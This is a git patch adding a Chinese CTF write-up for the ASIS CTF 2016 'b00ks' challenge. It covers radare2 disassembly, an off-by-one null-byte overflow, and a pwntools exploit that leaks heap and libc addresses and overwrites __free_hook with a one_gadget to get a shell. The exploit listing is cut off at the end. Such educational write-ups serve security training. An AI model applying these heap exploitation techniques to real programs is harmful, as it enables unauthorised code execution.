From 17c44ad9bb085d399dea551a38a76807d5a55544 Mon Sep 17 00:00:00 2001 From: firmianay Date: Sat, 4 Aug 2018 16:40:48 +0800 Subject: [PATCH] finish 6.1.28 --- CHANGELOG | 2 + SUMMARY.md | 2 + doc/6.1.28_pwn_asisctf2016_b00ks.md | 649 ++++++++++++++++++ doc/8.45_ramblr.md | 4 + doc/8.48_uroboros.md | 9 + doc/8.49_ioc.md | 4 + doc/8_academic.md | 2 + .../6.1.28_pwn_asisctf2016_b00ks/exp.py | 79 +++ 8 files changed, 751 insertions(+) create mode 100644 doc/8.48_uroboros.md create mode 100644 doc/8.49_ioc.md create mode 100644 src/writeup/6.1.28_pwn_asisctf2016_b00ks/exp.py diff --git a/CHANGELOG b/CHANGELOG index 8ada26d..b8d861e 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,5 @@ +2018-07-23:100 fork 成就达成 +2018-07-20:500 star 成就达成 2018-07-15:恍恍惚惚一周年了 Star 482,Fork 95 diff --git a/SUMMARY.md b/SUMMARY.md index 249d7d6..66d5525 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -243,6 +243,8 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [8.45 Ramblr: Making Reassembly Great Again](doc/8.45_ramblr.md) * [8.46 FreeGuard: A Faster Secure Heap Allocator](doc/8.46_freeguard.md) * [8.47 Jump-Oriented Programming: A New Class of Code-Reuse Attack](doc/8.47_jop.md) + * [8.48 Reassembleable Disassembling](doc/8.48_uroboros.md) + * [8.49 Understanding Integer Overflow in C/C++](doc/8.49_ioc.md) * [九、附录](doc/9_appendix.md) * [9.1 更多 Linux 工具](doc/9.1_Linuxtools.md) * [9.2 更多 Windows 工具](doc/9.2_wintools.md) diff --git a/doc/6.1.28_pwn_asisctf2016_b00ks.md b/doc/6.1.28_pwn_asisctf2016_b00ks.md index 0db1c74..c1afb1b 100644 --- a/doc/6.1.28_pwn_asisctf2016_b00ks.md +++ b/doc/6.1.28_pwn_asisctf2016_b00ks.md @@ -19,11 +19,660 @@ $ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. ``` +64 位程序,开启了 FULL RELRO、NX 和 PIE。 + +在 Ubuntu 16.04 上玩一下: +``` +$ ./b00ks +Welcome to ASISCTF book library +Enter author name: AAAA + +1. Create a book +2. Delete a book +3. Edit a book +4. Print book detail +5. Change current author name +6. Exit +> 1 + +Enter book name size: 5 +Enter book name (Max 32 chars): BBBBB + +Enter book description size: 5 +Enter book description: CCCCC + +1. Create a book +2. Delete a book +3. Edit a book +4. Print book detail +5. Change current author name +6. Exit +> 3 +Enter the book id you want to edit: 1 +Enter new book description: DDDDD + +1. Create a book +2. Delete a book +3. Edit a book +4. Print book detail +5. Change current author name +6. Exit +> 4 +ID: 1 +Name: BBBBB +Description: DDDDD +Author: AAAA + +1. Create a book +2. Delete a book +3. Edit a book +4. Print book detail +5. Change current author name +6. Exit +> 2 +Enter the book id you want to delete: 1 + +1. Create a book +2. Delete a book +3. Edit a book +4. Print book detail +5. Change current author name +6. Exit +> 5 +Enter author name: EEEE + +1. Create a book +2. Delete a book +3. Edit a book +4. Print book detail +5. Change current author name +6. Exit +> 6 +Thanks to use our library software +``` +程序让我们先输入一个 auther name,然后进入菜单,可以新建、删除、修改和打印一个 book,还可以对 author name 进行修改。 ## 题目解析 +#### Enter author name +``` +[0x000008e0]> pdf @ sub.Enter_author_name:_b6d +/ (fcn) sub.Enter_author_name:_b6d 80 +| sub.Enter_author_name:_b6d (); +| ; CALL XREF from main (0x122f) +| ; CALL XREF from main (+0xe0) +| 0x00000b6d push rbp +| 0x00000b6e mov rbp, rsp +| 0x00000b71 lea rdi, str.Enter_author_name: ; 0x13fb ; "Enter author name: " ; const char *format +| 0x00000b78 mov eax, 0 +| 0x00000b7d call sym.imp.printf ; int printf(const char *format) +| 0x00000b82 lea rax, [0x00202018] ; "@ " +| 0x00000b89 mov rax, qword [rax] +| 0x00000b8c mov esi, 0x20 ; "@" ; void *buf +| 0x00000b91 mov rdi, rax ; int fildes +| 0x00000b94 call sub.read_9f5 ; 调用 read_9f5([0x00202018], 0x20) 读入 author name +| 0x00000b99 test eax, eax +| ,=< 0x00000b9b je 0xbb6 +| | 0x00000b9d lea rdi, str.fail_to_read_author_name ; 0x140f ; "fail to read author_name" ; const char *format +| | 0x00000ba4 mov eax, 0 +| | 0x00000ba9 call sym.imp.printf ; int printf(const char *format) +| | 0x00000bae nop +| | 0x00000baf mov eax, 1 +| ,==< 0x00000bb4 jmp 0xbbb +| || ; CODE XREF from sub.Enter_author_name:_b6d (0xb9b) +| |`-> 0x00000bb6 mov eax, 0 +| | ; CODE XREF from sub.Enter_author_name:_b6d (0xbb4) +| `--> 0x00000bbb pop rbp +\ 0x00000bbc ret +[0x000008e0]> px 8 @ 0x00202018 +- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF +0x00202018 4020 2000 0000 0000 @ ..... +``` +程序首先调用函数 read_9f5() 读入 author name 到 `[0x00202018]`,即 `0x00202040`。 + +函数 read_9f5() 如下: +``` +[0x000008e0]> pdf @ sub.read_9f5 +/ (fcn) sub.read_9f5 130 +| sub.read_9f5 (int arg1, signed int arg2); +| ; var signed int local_1ch @ rbp-0x1c +| ; var int local_18h @ rbp-0x18 +| ; var int local_ch @ rbp-0xc +| ; var void *buf @ rbp-0x8 +| ; CALL XREF from sub.Enter_author_name:_b6d (0xb94) +| ; CALL XREF from sub.Enter_the_book_id_you_want_to_edit:_e17 (0xf2b) +| ; CALL XREFS from sub.Enter_book_name_size:_f55 (0xff8, 0x10b2) +| 0x000009f5 push rbp +| 0x000009f6 mov rbp, rsp +| 0x000009f9 sub rsp, 0x20 +| 0x000009fd mov qword [local_18h], rdi ; arg1 +| 0x00000a01 mov dword [local_1ch], esi ; arg2 +| 0x00000a04 cmp dword [local_1ch], 0 +| ,=< 0x00000a08 jg 0xa11 ; arg2 大于 0 时继续 +| | 0x00000a0a mov eax, 0 +| ,==< 0x00000a0f jmp 0xa75 ; 否则退出 +| |`-> 0x00000a11 mov rax, qword [local_18h] ; rax = [arg1] 取第一个参数 +| | 0x00000a15 mov qword [buf], rax ; [buf] = rax = [arg1] +| | 0x00000a19 mov dword [local_ch], 0 ; 循环计数 i 初始为 0 +| | ; CODE XREF from sub.read_9f5 (0xa67) +| |.-> 0x00000a20 mov rax, qword [buf] ; rax = [buf] +| |: 0x00000a24 mov edx, 1 ; size_t nbyte +| |: 0x00000a29 mov rsi, rax ; void *buf +| |: 0x00000a2c mov edi, 0 ; int fildes +| |: 0x00000a31 mov eax, 0 +| |: 0x00000a36 call sym.imp.read ; 调用 read(0, [buf], 1) 读入一个字节 +| |: 0x00000a3b cmp eax, 1 +| ,===< 0x00000a3e je 0xa47 +| ||: 0x00000a40 mov eax, 1 +| ,====< 0x00000a45 jmp 0xa75 +| |||: ; CODE XREF from sub.read_9f5 (0xa3e) +| |`---> 0x00000a47 mov rax, qword [buf] ; rax = [buf] +| | |: 0x00000a4b movzx eax, byte [rax] ; eax = [rax] 取出最后一个字节 +| | |: 0x00000a4e cmp al, 0xa +| |,===< 0x00000a50 jne 0xa54 ; 该字节不为换行符 '\n' +| ,=====< 0x00000a52 jmp 0xa69 +| ||||: ; CODE XREF from sub.read_9f5 (0xa50) +| ||`---> 0x00000a54 add qword [buf], 1 ; [buf] += 1 +| || |: 0x00000a59 mov eax, dword [local_ch] +| || |: 0x00000a5c cmp eax, dword [local_1ch] +| ||,===< 0x00000a5f jne 0xa63 ; 循环计数 i 与 arg2 不相等时 +| ,======< 0x00000a61 jmp 0xa69 +| |||||: ; CODE XREF from sub.read_9f5 (0xa5f) +| |||`---> 0x00000a63 add dword [local_ch], 1 ; 循环计数 i 加 1 +| ||| |`=< 0x00000a67 jmp 0xa20 ; 继续循环 +| ||| | ; CODE XREFS from sub.read_9f5 (0xa52, 0xa61) +| ``-----> 0x00000a69 mov rax, qword [buf] ; rax = [buf] +| | | 0x00000a6d mov byte [rax], 0 ; [rax] = 0 将最后一个字节设置为 '0x00' +| | | 0x00000a70 mov eax, 0 +| | | ; CODE XREFS from sub.read_9f5 (0xa0f, 0xa45) +| `-`--> 0x00000a75 leave +\ 0x00000a76 ret +``` +该函数存在单字节溢出漏洞,例如在读入 author name 的时候,arg2 为 0x20,但却可以读入最多 0x21 个字节,读入完成后将最后一个字节设置为 `“\x00”`,即溢出了一个字节的 null byte。 + +#### Create +``` +[0x000008e0]> pdf @ sub.Enter_book_name_size:_f55 +/ (fcn) sub.Enter_book_name_size:_f55 634 +| sub.Enter_book_name_size:_f55 (); +| ; var size_t size @ rbp-0x20 +| ; var unsigned int local_1ch @ rbp-0x1c +| ; var void *local_18h @ rbp-0x18 +| ; var void *fildes @ rbp-0x10 +| ; var void *ptr @ rbp-0x8 +| ; CALL XREF from main (+0xb0) +| 0x00000f55 push rbp +| 0x00000f56 mov rbp, rsp +| 0x00000f59 sub rsp, 0x20 +| 0x00000f5d mov dword [size], 0 +| 0x00000f64 lea rdi, str.Enter_book_name_size: ; 0x150f ; "\nEnter book name size: " ; const char *format +| 0x00000f6b mov eax, 0 +| 0x00000f70 call sym.imp.printf ; int printf(const char *format) +| 0x00000f75 lea rax, [size] +| 0x00000f79 mov rsi, rax +| 0x00000f7c lea rdi, [0x000013f8] ; "%d" ; const char *format +| 0x00000f83 mov eax, 0 +| 0x00000f88 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 name_size 到 [size] +| 0x00000f8d mov eax, dword [size] +| 0x00000f90 test eax, eax +| ,=< 0x00000f92 jns 0xfaa ; [size] 大于等于 0 +| | 0x00000f94 lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format +| | 0x00000f9b mov eax, 0 +| | 0x00000fa0 call sym.imp.printf ; int printf(const char *format) +| ,==< 0x00000fa5 jmp 0x118f +| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0xf92) +| |`-> 0x00000faa lea rdi, str.Enter_book_name__Max_32_chars_: ; 0x1538 ; "Enter book name (Max 32 chars): " ; const char *format +| | 0x00000fb1 mov eax, 0 +| | 0x00000fb6 call sym.imp.printf ; int printf(const char *format) +| | 0x00000fbb mov eax, dword [size] +| | 0x00000fbe cdqe +| | 0x00000fc0 mov rdi, rax ; size_t size +| | 0x00000fc3 call sym.imp.malloc ; 调用 malloc([size]) 为 name 分配空间 +| | 0x00000fc8 mov qword [fildes], rax ; 空间地址保存到 [fildes] +| | 0x00000fcc cmp qword [fildes], 0 +| |,=< 0x00000fd1 jne 0xfe9 +| || 0x00000fd3 lea rdi, str.unable_to_allocate_enough_space ; 0x1560 ; "unable to allocate enough space" ; const char *format +| || 0x00000fda mov eax, 0 +| || 0x00000fdf call sym.imp.printf ; int printf(const char *format) +| ,===< 0x00000fe4 jmp 0x118f +| ||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0xfd1) +| ||`-> 0x00000fe9 mov eax, dword [size] +| || 0x00000fec lea edx, [rax - 1] +| || 0x00000fef mov rax, qword [fildes] +| || 0x00000ff3 mov esi, edx ; void *buf +| || 0x00000ff5 mov rdi, rax ; int fildes +| || 0x00000ff8 call sub.read_9f5 ; 调用 read_9f5([fildes], [size]-1) 读入 name +| || 0x00000ffd test eax, eax +| ||,=< 0x00000fff je 0x1017 +| ||| 0x00001001 lea rdi, str.fail_to_read_name ; 0x1580 ; "fail to read name" ; const char *format +| ||| 0x00001008 mov eax, 0 +| ||| 0x0000100d call sym.imp.printf ; int printf(const char *format) +| ,====< 0x00001012 jmp 0x118f +| |||`-> 0x00001017 mov dword [size], 0 ; 将 [size] 置 0 +| ||| 0x0000101e lea rdi, str.Enter_book_description_size: ; 0x1598 ; "\nEnter book description size: " ; const char *format +| ||| 0x00001025 mov eax, 0 +| ||| 0x0000102a call sym.imp.printf ; int printf(const char *format) +| ||| 0x0000102f lea rax, [size] +| ||| 0x00001033 mov rsi, rax +| ||| 0x00001036 lea rdi, [0x000013f8] ; "%d" ; const char *format +| ||| 0x0000103d mov eax, 0 +| ||| 0x00001042 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 description_size 到 [size] +| ||| 0x00001047 mov eax, dword [size] +| ||| 0x0000104a test eax, eax +| |||,=< 0x0000104c jns 0x1064 ; [size] 大于等于 0 +| |||| 0x0000104e lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format +| |||| 0x00001055 mov eax, 0 +| |||| 0x0000105a call sym.imp.printf ; int printf(const char *format) +| ,=====< 0x0000105f jmp 0x118f +| ||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x104c) +| ||||`-> 0x00001064 mov eax, dword [size] +| |||| 0x00001067 cdqe +| |||| 0x00001069 mov rdi, rax ; size_t size +| |||| 0x0000106c call sym.imp.malloc ; 调用 malloc([size]) 为 description 分配空间 +| |||| 0x00001071 mov qword [ptr], rax ; 空间地址保存到 [ptr] +| |||| 0x00001075 cmp qword [ptr], 0 +| ||||,=< 0x0000107a jne 0x1092 +| ||||| 0x0000107c lea rdi, str.Fail_to_allocate_memory ; 0x15b7 ; "Fail to allocate memory" ; const char *format +| ||||| 0x00001083 mov eax, 0 +| ||||| 0x00001088 call sym.imp.printf ; int printf(const char *format) +| ,======< 0x0000108d jmp 0x118f +| |||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x107a) +| |||||`-> 0x00001092 lea rdi, str.Enter_book_description: ; 0x15cf ; "Enter book description: " ; const char *format +| ||||| 0x00001099 mov eax, 0 +| ||||| 0x0000109e call sym.imp.printf ; int printf(const char *format) +| ||||| 0x000010a3 mov eax, dword [size] +| ||||| 0x000010a6 lea edx, [rax - 1] +| ||||| 0x000010a9 mov rax, qword [ptr] +| ||||| 0x000010ad mov esi, edx ; void *buf +| ||||| 0x000010af mov rdi, rax ; int fildes +| ||||| 0x000010b2 call sub.read_9f5 ; 调用 read_9f5([ptr], [size] -1) 读入 description +| ||||| 0x000010b7 test eax, eax +| |||||,=< 0x000010b9 je 0x10d1 +| |||||| 0x000010bb lea rdi, str.Unable_to_read_description ; 0x15e8 ; "Unable to read description" ; const char *format +| |||||| 0x000010c2 mov eax, 0 +| |||||| 0x000010c7 call sym.imp.printf ; int printf(const char *format) +| ,=======< 0x000010cc jmp 0x118f +| ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10b9) +| ||||||`-> 0x000010d1 mov eax, 0 +| |||||| 0x000010d6 call fcn.00000b24 ; 判断 book_num 是否达到上限 20 +| |||||| 0x000010db mov dword [local_1ch], eax ; 返回值 eax 为该 book 在 books 里的序号 +| |||||| 0x000010de cmp dword [local_1ch], 0xffffffffffffffff +| ||||||,=< 0x000010e2 jne 0x10fa +| ||||||| 0x000010e4 lea rdi, str.Library_is_full ; 0x1603 ; "Library is full" ; const char *format +| ||||||| 0x000010eb mov eax, 0 +| ||||||| 0x000010f0 call sym.imp.printf ; int printf(const char *format) +| ========< 0x000010f5 jmp 0x118f +| ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10e2) +| ||||||`-> 0x000010fa mov edi, 0x20 ; "@" ; size_t size +| |||||| 0x000010ff call sym.imp.malloc ; 调用 malloc(0x20) 为 book 结构体分配空间 +| |||||| 0x00001104 mov qword [local_18h], rax ; 空间地址保存到 [local_18h] +| |||||| 0x00001108 cmp qword [local_18h], 0 +| ||||||,=< 0x0000110d jne 0x1122 +| ||||||| 0x0000110f lea rdi, str.Unable_to_allocate_book_struct ; 0x1618 ; "Unable to allocate book struct" ; const char *format +| ||||||| 0x00001116 mov eax, 0 +| ||||||| 0x0000111b call sym.imp.printf ; int printf(const char *format) +| ========< 0x00001120 jmp 0x118f +| ||||||`-> 0x00001122 mov eax, dword [size] ; 取出 description_size +| |||||| 0x00001125 mov edx, eax +| |||||| 0x00001127 mov rax, qword [local_18h] ; 取出 book 结构体 +| |||||| 0x0000112b mov dword [rax + 0x18], edx ; book->description_size = [size] +| |||||| 0x0000112e lea rax, [0x00202010] ; rax = 0x00202010 +| |||||| 0x00001135 mov rax, qword [rax] ; rax = 0x00202060 取出 books 数组地址 +| |||||| 0x00001138 mov edx, dword [local_1ch] +| |||||| 0x0000113b movsxd rdx, edx +| |||||| 0x0000113e shl rdx, 3 +| |||||| 0x00001142 add rdx, rax ; rdx 为 books 数组中该 book 的地址 +| |||||| 0x00001145 mov rax, qword [local_18h] +| |||||| 0x00001149 mov qword [rdx], rax ; books[rdx] = book 将 book 地址放入 books 数组 +| |||||| 0x0000114c mov rax, qword [local_18h] +| |||||| 0x00001150 mov rdx, qword [ptr] +| |||||| 0x00001154 mov qword [rax + 0x10], rdx ; book->description = [ptr] +| |||||| 0x00001158 mov rax, qword [local_18h] +| |||||| 0x0000115c mov rdx, qword [fildes] +| |||||| 0x00001160 mov qword [rax + 8], rdx ; book->name = [fildes] +| |||||| 0x00001164 lea rax, [0x00202024] +| |||||| 0x0000116b mov eax, dword [rax] ; 取出 book_num +| |||||| 0x0000116d lea edx, [rax + 1] ; edx = book_num + 1 +| |||||| 0x00001170 lea rax, [0x00202024] +| |||||| 0x00001177 mov dword [rax], edx ; 放回新的 book_num +| |||||| 0x00001179 lea rax, [0x00202024] +| |||||| 0x00001180 mov edx, dword [rax] +| |||||| 0x00001182 mov rax, qword [local_18h] +| |||||| 0x00001186 mov dword [rax], edx ; book->id = book_num +| |||||| 0x00001188 mov eax, 0 +| ||||||,=< 0x0000118d jmp 0x11cd +| ||||||| ; XREFS: CODE 0x00000fa5 CODE 0x00000fe4 CODE 0x00001012 CODE 0x0000105f CODE 0x0000108d CODE 0x000010cc +| ||||||| ; XREFS: CODE 0x000010f5 CODE 0x00001120 +| ``````--> 0x0000118f cmp qword [fildes], 0 ; 释放掉一些指针 +| ,==< 0x00001194 je 0x11a2 +| || 0x00001196 mov rax, qword [fildes] +| || 0x0000119a mov rdi, rax ; void *ptr +| || 0x0000119d call sym.imp.free ; free([fildes]) +| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x1194) +| `--> 0x000011a2 cmp qword [ptr], 0 +| ,==< 0x000011a7 je 0x11b5 +| || 0x000011a9 mov rax, qword [ptr] +| || 0x000011ad mov rdi, rax ; void *ptr +| || 0x000011b0 call sym.imp.free ; free([ptr]) +| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11a7) +| `--> 0x000011b5 cmp qword [local_18h], 0 +| ,==< 0x000011ba je 0x11c8 +| || 0x000011bc mov rax, qword [local_18h] +| || 0x000011c0 mov rdi, rax ; void *ptr +| || 0x000011c3 call sym.imp.free ; free([local_18h]) +| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11ba) +| `--> 0x000011c8 mov eax, 1 +| | ; CODE XREF from sub.Enter_book_name_size:_f55 (0x118d) +| `-> 0x000011cd leave +\ 0x000011ce ret +[0x000008e0]> px 8 @ 0x00202010 +- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF +0x00202010 6020 2000 0000 0000 ` ..... +``` +Create 过程是首先在堆上为 name 分配空间,然后为 description 分配空间,最后为 book 结构体分配空间。其中 name 和 description 的大小是由输入控制的,book 结构体则固定为 0x20 字节。 + +通过分析可以得到下面的数据结构: +```c +struct book { + int id; + char *name; + char *description; + char description_size; +} book; + +struct book *books[20]; +``` +其中 books 数组的起始地址为 `0x00202060`。 + ## 漏洞利用 +现在我们已经知道漏洞点是在读入 author name 的时候存在一个 off-by-one 漏洞。另外由于 author name 和 books 之间距离正好为 `0x00202060 - 0x00202040 = 0x20`,并且 books 是在 author name 之后创建,所以如果 author name 恰好为 0x20 个字节,那么在 Print 的时候存在信息泄露。接下来如果对 author name 进行修改,且仍然为 0x20 字节,则溢出的一个空字节将覆盖掉 books[0] 的低位字节。 + +思路如下: +1. 创建两个 book,其中要使第二个 book 的 name 和 description 通过 mmap 分配(请求一块很大的空间),这是因为 mmap 分配的空间与 libc 基址存在固定关系,后续将通过泄露这些地址得到 libc 基址。 +2. 通过 Print,利用信息泄露漏洞得到 book1 在 heap 上的地址,从而计算得到 book2 的地址。 +3. 通过 Edit 在 book1->description 中创建一个 fake book,其 fake->description 指向 book2->name。 +4. 通过 Change author name 造成空字节溢出,使 books[0] 指向伪造的 fake book。 +5. 再次通过 Print 即可打印出 book2->name,这是一个通过 mmap 得到的指针,于是计算出 libc 基址。 +6. 先 Edit 操作 fake book,将 book2->description 修改为 __free_hook 的地址,然后 Edit 操作 book2,即可将 __free_hook 修改为 one_gadget。 +7. 此时 Delete book2,即可执行 one_gadget 获得 shell。 + +#### leak_heap +```python +def leak_heap(): + global book2_addr + + io.sendlineafter("name: ", "A" * 0x20) + Create(0xd0, "AAAA", 0x20, "AAAA") # book1 + Create(0x21000, "AAAA", 0x21000, "AAAA") # book2 + + Print() + io.recvuntil("A"*0x20) + book1_addr = u64(io.recvn(6).ljust(8, "\x00")) + book2_addr = book1_addr + 0x30 + + log.info("book2 address: 0x%x" % book2_addr) +``` +创建两个 book,此时内存布局如下: +``` +gdb-peda$ x/8gx 0x555555756040 +0x555555756040: 0x4141414141414141 0x4141414141414141 <-- author name +0x555555756050: 0x4141414141414141 0x4141414141414141 +0x555555756060: 0x0000555555758130 0x0000555555758160 <-- books +0x555555756070: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/50gx 0x0000555555758020-0x10 +0x555555758010: 0x0000000000000000 0x00000000000000e1 <-- book1->name +0x555555758020: 0x0000000041414141 0x0000000000000000 +0x555555758030: 0x0000000000000000 0x0000000000000000 +0x555555758040: 0x0000000000000000 0x0000000000000000 +0x555555758050: 0x0000000000000000 0x0000000000000000 +0x555555758060: 0x0000000000000000 0x0000000000000000 +0x555555758070: 0x0000000000000000 0x0000000000000000 +0x555555758080: 0x0000000000000000 0x0000000000000000 +0x555555758090: 0x0000000000000000 0x0000000000000000 +0x5555557580a0: 0x0000000000000000 0x0000000000000000 +0x5555557580b0: 0x0000000000000000 0x0000000000000000 +0x5555557580c0: 0x0000000000000000 0x0000000000000000 +0x5555557580d0: 0x0000000000000000 0x0000000000000000 +0x5555557580e0: 0x0000000000000000 0x0000000000000000 +0x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- book1->description +0x555555758100: 0x0000000041414141 0x0000000000000000 +0x555555758110: 0x0000000000000000 0x0000000000000000 +0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book1 +0x555555758130: 0x0000000000000001 0x0000555555758020 +0x555555758140: 0x0000555555758100 0x0000000000000020 +0x555555758150: 0x0000000000000000 0x0000000000000031 <-- book2 +0x555555758160: 0x0000000000000002 0x00007ffff7fd2010 +0x555555758170: 0x00007ffff7fb0010 0x0000000000021000 +0x555555758180: 0x0000000000000000 0x0000000000020e81 +0x555555758190: 0x0000000000000000 0x0000000000000000 +``` +可以看到 book2 通过 mmap 分配的两个指针并不是指向 heap,而是与 libc 有某种固定关系: +``` +gdb-peda$ vmmap libc +Start End Perm Name +0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /home/firmy/b00ks/libc-2.23.so +0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /home/firmy/b00ks/libc-2.23.so +0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /home/firmy/b00ks/libc-2.23.so +0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /home/firmy/b00ks/libc-2.23.so +gdb-peda$ vmmap mapped +Start End Perm Name +0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped +0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p mapped +0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped +gdb-peda$ vmmap heap +Start End Perm Name +0x0000555555757000 0x0000555555779000 rw-p [heap] +``` + +#### leak_libc +```python +def leak_libc(): + global libc_base + + fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20) + Edit(1, fake_book) + Change("A" * 0x20) + + Print() + io.recvuntil("Name: ") + leak_addr = u64(io.recvn(6).ljust(8, "\x00")) + libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base + + log.info("libc address: 0x%x" % libc_base) +``` +``` +gdb-peda$ x/8gx 0x555555756040 +0x555555756040: 0x4141414141414141 0x4141414141414141 +0x555555756050: 0x4141414141414141 0x4141414141414141 +0x555555756060: 0x0000555555758100 0x0000555555758160 <-- books[0] +0x555555756070: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/50gx 0x0000555555758020-0x10 +0x555555758010: 0x0000000000000000 0x00000000000000e1 +0x555555758020: 0x0000000041414141 0x0000000000000000 +0x555555758030: 0x0000000000000000 0x0000000000000000 +0x555555758040: 0x0000000000000000 0x0000000000000000 +0x555555758050: 0x0000000000000000 0x0000000000000000 +0x555555758060: 0x0000000000000000 0x0000000000000000 +0x555555758070: 0x0000000000000000 0x0000000000000000 +0x555555758080: 0x0000000000000000 0x0000000000000000 +0x555555758090: 0x0000000000000000 0x0000000000000000 +0x5555557580a0: 0x0000000000000000 0x0000000000000000 +0x5555557580b0: 0x0000000000000000 0x0000000000000000 +0x5555557580c0: 0x0000000000000000 0x0000000000000000 +0x5555557580d0: 0x0000000000000000 0x0000000000000000 +0x5555557580e0: 0x0000000000000000 0x0000000000000000 +0x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- fake book +0x555555758100: 0x0000000000000001 0x0000555555758168 +0x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description +0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book1 +0x555555758130: 0x0000000000000001 0x0000555555758020 +0x555555758140: 0x0000555555758100 0x0000000000000020 +0x555555758150: 0x0000000000000000 0x0000000000000031 <-- book2 +0x555555758160: 0x0000000000000002 0x00007ffff7fd2010 <-- book2->name +0x555555758170: 0x00007ffff7fb0010 0x0000000000021000 +0x555555758180: 0x0000000000000000 0x0000000000020e81 +0x555555758190: 0x0000000000000000 0x0000000000000000 +``` +接下来先是伪造 fake book,然后通过空字节溢出,修改了 books[0] 的低位字节,此时它指向了 fake book。而 fake->description 指向了 book2->name。 + +通过 Print 即可打印出 book2->name,进而计算出 libc 基址。 + +#### overwrite +```python +def overwrite(): + free_hook = libc.symbols['__free_hook'] + libc_base + one_gadget = libc_base + 0x4526a + + fake_book = p64(free_hook) * 2 + Edit(1, fake_book) + fake_book = p64(one_gadget) + Edit(2, fake_book) +``` +依次修改 fake book 和 book2,最终将 __free_hook 修改为 one_gadget: +``` +gdb-peda$ x/50gx 0x0000555555758020-0x10 +0x555555758010: 0x0000000000000000 0x00000000000000e1 +0x555555758020: 0x0000000041414141 0x0000000000000000 +0x555555758030: 0x0000000000000000 0x0000000000000000 +0x555555758040: 0x0000000000000000 0x0000000000000000 +0x555555758050: 0x0000000000000000 0x0000000000000000 +0x555555758060: 0x0000000000000000 0x0000000000000000 +0x555555758070: 0x0000000000000000 0x0000000000000000 +0x555555758080: 0x0000000000000000 0x0000000000000000 +0x555555758090: 0x0000000000000000 0x0000000000000000 +0x5555557580a0: 0x0000000000000000 0x0000000000000000 +0x5555557580b0: 0x0000000000000000 0x0000000000000000 +0x5555557580c0: 0x0000000000000000 0x0000000000000000 +0x5555557580d0: 0x0000000000000000 0x0000000000000000 +0x5555557580e0: 0x0000000000000000 0x0000000000000000 +0x5555557580f0: 0x0000000000000000 0x0000000000000031 +0x555555758100: 0x0000000000000001 0x0000555555758168 +0x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description +0x555555758120: 0x0000000000000000 0x0000000000000031 +0x555555758130: 0x0000000000000001 0x0000555555758020 +0x555555758140: 0x0000555555758100 0x0000000000000020 +0x555555758150: 0x0000000000000000 0x0000000000000031 +0x555555758160: 0x0000000000000002 0x00007ffff7dd37a8 +0x555555758170: 0x00007ffff7dd37a8 0x0000000000021000 <-- book2->description +0x555555758180: 0x0000000000000000 0x0000000000020e81 +0x555555758190: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/gx 0x00007ffff7dd37a8 +0x7ffff7dd37a8 <__free_hook>: 0x00007ffff7a5226a +gdb-peda$ pdisass 0x00007ffff7a5226a /7 + 0x7ffff7a5226a: mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8 + 0x7ffff7a52271: lea rdi,[rip+0x147adf] # 0x7ffff7b99d57 + 0x7ffff7a52278: lea rsi,[rsp+0x30] + 0x7ffff7a5227d: mov DWORD PTR [rip+0x381219],0x0 # 0x7ffff7dd34a0 + 0x7ffff7a52287: mov DWORD PTR [rip+0x381213],0x0 # 0x7ffff7dd34a4 + 0x7ffff7a52291: mov rdx,QWORD PTR [rax] + 0x7ffff7a52294: call 0x7ffff7ad9770 +``` + +#### pwn +```python +def pwn(): + Delete(2) + + io.interactive() +``` +最后 Delete book2,获得 shell。 + +开启 ASLR,Bingo!!! +``` +$ python exp.py +[+] Starting local process './b00ks': pid 4879 +[*] book2 address: 0x562341a04160 +[*] libc address: 0x7f87e9425000 +[*] Switching to interactive mode +$ whoami +firmy +``` + +#### exploit +完整的 exp 如下: +```python +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./b00ks'], env={'LD_PRELOAD':'./libc-2.23.so'}) +libc = ELF('libc-2.23.so') + +def Create(nsize, name, dsize, desc): + io.sendlineafter("> ", '1') + io.sendlineafter("name size: ", str(nsize)) + io.sendlineafter("name (Max 32 chars): ", name) + io.sendlineafter("description size: ", str(dsize)) + io.sendlineafter("description: ", desc) + +def Delete(idx): + io.sendlineafter("> ", '2') + io.sendlineafter("delete: ", str(idx)) + +def Edit(idx, desc): + io.sendlineafter("> ", '3') + io.sendlineafter("edit: ", str(idx)) + io.sendlineafter("description: ", desc) + +def 